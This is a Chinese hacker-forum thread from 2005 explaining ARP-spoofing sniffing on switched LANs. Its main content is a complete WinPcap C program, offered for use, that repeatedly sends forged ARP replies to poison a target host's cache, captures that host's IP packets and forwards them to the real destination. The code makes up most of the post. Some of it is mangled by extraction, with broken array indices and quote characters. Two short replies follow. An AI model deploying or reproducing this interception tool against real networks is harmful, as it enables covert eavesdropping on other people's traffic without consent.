标题:
基于ARP欺骗的嗅探原理
[打印本页]
作者:
千與千尋
时间:
2005-4-12 17:38
标题:
基于ARP欺骗的嗅探原理
嗅探器(sniffer)是一种刺探网络中传输数据的工具。为达到这一目的,一般的做法是设置网卡为混杂模式,这样就可以嗅探到所有经过本机网卡的数据(这种一般的sniffer原理不在此阐述)。但是这种sniffer有一个缺点,就是它只适用于共享式局域网,对于交换式局域网无效。因为在交换式局域网中,网络中的数据并不会经过每一台主机的网卡,所以对于交换式局域网,就要用另外一种更为主动的方法去嗅探,那就是基于ARP欺骗的嗅探。 我们假设有三台主机A,B,C位于同一个交换式局域网中,攻击者处于主机A,而主机B,C正在通信。现在A希望能嗅探到B->C的数据,于是A就可以伪装成C对B做ARP欺骗——向B发送伪造的ARP应答包,应答包中IP地址为C的IP地址而MAC地址为A的MAC地址。这个应答包会刷新B的ARP缓存,让B认为A就是C,说详细点,就是让B认为C的IP地址映射到的MAC地址为主机A的MAC地址。这样,B想要发送给C的数据实际上却发送给了A,就达到了嗅探的目的。另外,由于ARP缓存是动态更新的,因此,我们要不断的向B发送伪造的ARP应答包,以防止B的ARP缓存中的IP-MAC映射关系被C改回来。(这里涉及到ARP欺骗的知识,如果对此有疑惑,请查阅相关资料。)当然,这样嗅探之后,本应接收到数据的C就不能接收到B发送过来的数据了,也就是说,B和C的通信相当于被中断了。因此,我们在嗅探到数据后,还必须将此数据转发给C,这样才能保证B,C的通信不被中断。 以上就是基于ARP欺骗的嗅探基本原理,在这种嗅探方法中,嗅探者A实际上是插入到了B->C中,B的数据先发送给了A,然后再由A转发给C,其数据传输关系如下所示: B----->A----->C B<------------C 当然,如果你还想嗅探到C->B的数据,还可以将A插入到C->B中,这样,就能嗅探到B,C间通信的全部数据了。 下面,还是用具体的代码来说明问题。在这个代码中,涉及到了IPHLPAPI和winpcap的编程,请查阅相关资料: #include "stdafx.h" #include "winsock2.h" #include "Packet32.h" #include "wchar.h" #include "stdio.h" #include "Iphlpapi.h" #pragma comment(lib, "packet.lib") #pragma comment(lib, "ws2_32.lib") #pragma comment(lib,"iphlpapi.lib") #define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式 #pragma pack(push, 1) typedef struct _et_header //以太网头部 { unsigned char eh_dst[6]; unsigned char eh_src[6]; unsigned short eh_type; }ET_HEADER; typedef struct _arp_header //ARP头部 { unsigned short arp_hdr; unsigned short arp_pro; unsigned char arp_hln; unsigned char arp_pln; unsigned short arp_opt; unsigned char arp_sha[6]; unsigned long arp_spa; unsigned char arp_tha[6]; unsigned long arp_tpa; }ARP_HEADER; typedef struct _ip_header { char m_ver_hlen; //4位版本号,4位ip头部长 char m_tos; USHORT m_tlen; USHORT m_ident; USHORT m_flag_frag; //3位标志位(1位未用位,1位DF,1位MF),13位片断偏移量 char m_ttl; char m_protocol; USHORT m_cksum; ULONG m_sIP; ULONG m_dIP; }IP_HEADER; typedef struct info //将被传递到监听线程的信息结构 { LPADAPTER lpAdapter; char simulateIP[20]; char targetIP[20]; }INFO; #pragma pack(pop) void usage() { printf("***********************************\n"); printf("* Made by ffantasyYD *\n"); printf("* QQ:76889713 *\n"); printf("* email:ffantasyYD@163.com *\n"); printf("***********************************\n"); printf("This program have 2 param: P2PSniffer targetIP simulateIP\n"); } void StrToMac(char *str,char *mac) //自定义的将字符串转换成mac地址的函数 { char *str1; int i; int low,high; char temp; for(i=0;i<6;i++) { str1=str+1; switch(*str) { case ';a';:high=10; break; case ';b';:high=11; break; case ';c';:high=12; break; case ';d';:high=13; break; case ';e';:high=14; break; case ';f';:high=15; break; default:temp=*str; high=atoi(&temp); } switch(*str1) { case ';a';:low=10; break; case ';b';:low=11; break; case ';c';:low=12; break; case ';d';:low=13; break; case ';e';:low=14; break; case ';f';:low=15; break; default:temp=*str1; low=atoi(&temp); } mac
=high*16+low; str+=2; } } void getLocalMac(char *localMac,char *localIP) //获取本机MAC地址 { ULONG numOfAdapter=0; char mac[5][20]={0},IP[5][20]={0}; GetAdaptersInfo(NULL,&numOfAdapter); //取得网卡信息 if(numOfAdapter!=0) { IP_ADAPTER_INFO *pAdapterInfo=(IP_ADAPTER_INFO *)malloc( numOfAdapter*sizeof(IP_ADAPTER_INFO) ); memset( pAdapterInfo,0,numOfAdapter*sizeof(IP_ADAPTER_INFO) ); GetAdaptersInfo(pAdapterInfo,&numOfAdapter); printf("Please select the local mac!\n"); for(int i=0;( (i<5) && (pAdapterInfo!=NULL) );i++) { sprintf(mac
,"%02x%02x%02x%02x%02x%02x",pAdapterInfo->Address[0],pAdapterInfo->Address[1],pAdapterInfo->Address[2], pAdapterInfo->Address[3],pAdapterInfo->Address[4],pAdapterInfo->Address[5]); memcpy( IP
,pAdapterInfo->IpAddressList.IpAddress.String,strlen(pAdapterInfo->IpAddressList.IpAddress.String) ); printf("%d, %s--%s\n",i+1,IP
,mac
); pAdapterInfo=pAdapterInfo->Next; } } int index=0; scanf("%d",&index); memcpy(localMac,mac[index-1],strlen(mac[index-1])); memcpy(localIP,IP[index-1],strlen(IP[index-1])); return; } bool getRemoteMac(char *remoteMac,char *remoteIP) //获取远程主机MAC地址 { WSADATA wsaData; ULONG remoteAddr=0,macAddrLen=6; char remoteMacTemp[6]={0}; if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0) { printf("WSAStartup error!\n"); return FALSE; } remoteAddr=inet_addr(remoteIP); if(SendARP(remoteAddr, (unsigned long)NULL,(PULONG)&remoteMacTemp, &macAddrLen)!=NO_ERROR) { printf("Get remote MAC failed!\n"); return FALSE; } memcpy(remoteMac,remoteMacTemp,6); /* for(int i=0; i<6; i++ ) { printf( "%.2x", remoteMac
); } printf("\n"); */ return TRUE; } void assay(LPADAPTER lpAdapter,LPPACKET lpPacket,char *targetIP,char *simulateIP) //分析接收到数据包 { char *buf; bpf_hdr *lpBpfhdr; ET_HEADER *lpEthdr; in_addr addr={0}; buf=(char *)lpPacket->Buffer; lpBpfhdr=(bpf_hdr *)buf; lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen); if(lpEthdr->eh_type==htons(0x0800)) //判断是否为IP包 { IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER)); char source_ip[20]={0},dest_ip[20]={0}; addr.S_un.S_addr=lpIphdr->m_sIP; memcpy(source_ip,inet_ntoa(addr),strlen(inet_ntoa(addr))); memset(&addr,0,sizeof(in_addr)); addr.S_un.S_addr=lpIphdr->m_dIP; memcpy(dest_ip,inet_ntoa(addr),strlen(inet_ntoa(addr))); if( ( strcmp ( source_ip , targetIP ) == 0 ) && ( strcmp ( dest_ip , simulateIP ) == 0 ) ) { printf("There is a IP packet from %s to %s !\n",targetIP,simulateIP); //以下是将嗅探到的包发送到真正的目的地: char mac[6]={0}; LPPACKET lpSendPacket=NULL; char sendBuf[512]={0}; getRemoteMac(mac,simulateIP); memcpy(lpEthdr->eh_dst,mac,6); memcpy(sendBuf,lpEthdr,sizeof(ET_HEADER)); memcpy(sendBuf+sizeof(ET_HEADER),lpIphdr,ntohs(lpIphdr->m_tlen)); lpSendPacket=PacketAllocatePacket(); PacketInitPacket(lpSendPacket,sendBuf,512); PacketSetNumWrites(lpAdapter,2); PacketSendPacket(lpAdapter,lpSendPacket,TRUE); PacketFreePacket(lpSendPacket); //释放PACKET结构指针 } } } DWORD WINAPI Listen(void *param) //监听线程 { LPADAPTER lpAdapter; INFO *pInfo=(INFO *)param; LPPACKET lpPacket; char buf[512]={0}; lpAdapter=pInfo->lpAdapter; //printf("%s,%s\n",pInfo->near_ip,pInfo->far_ip); PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED); //设置网卡为直接模式 PacketSetBuff(lpAdapter,1024); //设置网卡接收数据包的缓冲区大小 PacketSetReadTimeout(lpAdapter,2); //设置接收到一个包后的“休息”时间 while(1) { lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存 PacketInitPacket(lpPacket,buf,512); //初始化PACKET结构指针 PacketReceivePacket(lpAdapter, lpPacket, TRUE); //接收数据包 assay(lpAdapter,lpPacket,pInfo->targetIP,pInfo->simulateIP); //分析数据包 //每次收包后重置lpPacket: PacketFreePacket(lpPacket); memset(buf,0,512); } PacketFreePacket(lpPacket); //释放lpPacket return 1; } int main(int argc, char* argv[]) { char s_mac[6]={0}; LPADAPTER lpAdapter; LPPACKET lpPacket; ET_HEADER et_header; ARP_HEADER arp_header; static CHAR adapter_list[10][1024]; WCHAR adapter_name[2048]; WCHAR *name1,*name2; ULONG adapter_length=1024; ULONG i,adapter_num=0; char buffer[512]={0}; INFO param={0}; usage(); if(argc!=3) { return -1; } //获取MAC地址: char localMac[20]={0},localIP[20]={0}; getLocalMac(localMac,localIP); char remoteMac[6]={0}; if(getRemoteMac(remoteMac,argv[1])==FALSE) { return -1; } //打开适配器: //取得所有适配器的名字. if(PacketGetAdapterNames((char*)adapter_name, &adapter_length)==FALSE) { //adapter_name:一个用于存放适配器的名字的缓冲区。一个适配器名字的每一个字符 //之间由一个';\0';隔开,两个适配器名字之间用两个';\0';隔开,连续遇到超过两个的 //';\0';就认为适配器名字已取完。 //adapter_length:这个缓冲区的大小 printf("PacketGetAdapterNames error:%d\n",GetLastError()); return -1; } name1=adapter_name; name2=adapter_name; i = 0; //把adapter_name中的适配器名字,分别copy到adapter_list[]中,i从0开始为第一个 while((*name1!=';\0';) || (*(name1-1)!=';\0';)) { if(*name1==';\0';) { memcpy(adapter_list
,name2,2*(name1-name2)); name2=name1+1; i++; } name1++; } //默认打开第一块适配器 lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]); if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_value)) { printf("Unable to open the driver, Error Code : %lx\n", GetLastError()); return -1; } //启动监听线程: param.lpAdapter=lpAdapter; memcpy(param.targetIP,argv[1],strlen(argv[1])); memcpy(param.simulateIP,argv[2],strlen(argv[2])); CreateThread(NULL,0,Listen,¶m,0,NULL); //伪造ARP应答包: StrToMac(localMac,s_mac); //local_mac memcpy(et_header.eh_src,s_mac,6); memcpy(et_header.eh_dst,remoteMac,6); et_header.eh_type=htons(0x0806); //类型为0x0806表示这是ARP包 arp_header.arp_hdr=htons(0x0001); //硬件地址类型以太网地址 arp_header.arp_pro=htons(0x0800); //协议地址类型为IP协议 arp_header.arp_hln=6; //硬件地址长度为6 arp_header.arp_pln=4; //协议地址长度为4 arp_header.arp_opt=htons(0x0002); //标识为ARP应答 arp_header.arp_spa=inet_addr(argv[2]); //source_ip memcpy(arp_header.arp_sha,et_header.eh_src,6); arp_header.arp_tpa=inet_addr(argv[1]); //target_ip memcpy(arp_header.arp_tha,et_header.eh_dst,6); memcpy(buffer,&et_header,sizeof(ET_HEADER)); memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER)); //发送伪造地ARP应答包: lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存 PacketInitPacket(lpPacket,buffer,512); //初始化PACKET结构指针 if(PacketSetNumWrites(lpAdapter,2)==FALSE) //设置发送次数 { printf("warning: Unable to send more than one packet in a single write!\n"); } printf("Start.............\n"); while(1) { if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) //不断发送伪造的ARP应答包达到欺骗目标主机的目的 { printf("Error sending the packets!\n"); break; } Sleep(2000); } PacketFreePacket(lpPacket); //释放PACKET结构指针 Sleep(5000); PacketCloseAdapter(lpAdapter); //关闭适配器 return 0; } 以上就是这种嗅探的基本实现。当然,要对交换式局域网中的数据进行嗅探还有很多种方法,比如,可以用ARP欺骗去欺骗交换机等。总之,方法有很多,只有想不到,没有做不到。
作者:
所谓伊人
时间:
2005-4-13 09:50
标题:
基于ARP欺骗的嗅探原理
帮千顶一下!
作者:
千與千尋
时间:
2005-4-13 17:25
标题:
基于ARP欺骗的嗅探原理
有关嗅探的技术文章谁发现好的都贴过来.....
欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)
Powered by Discuz! 7.2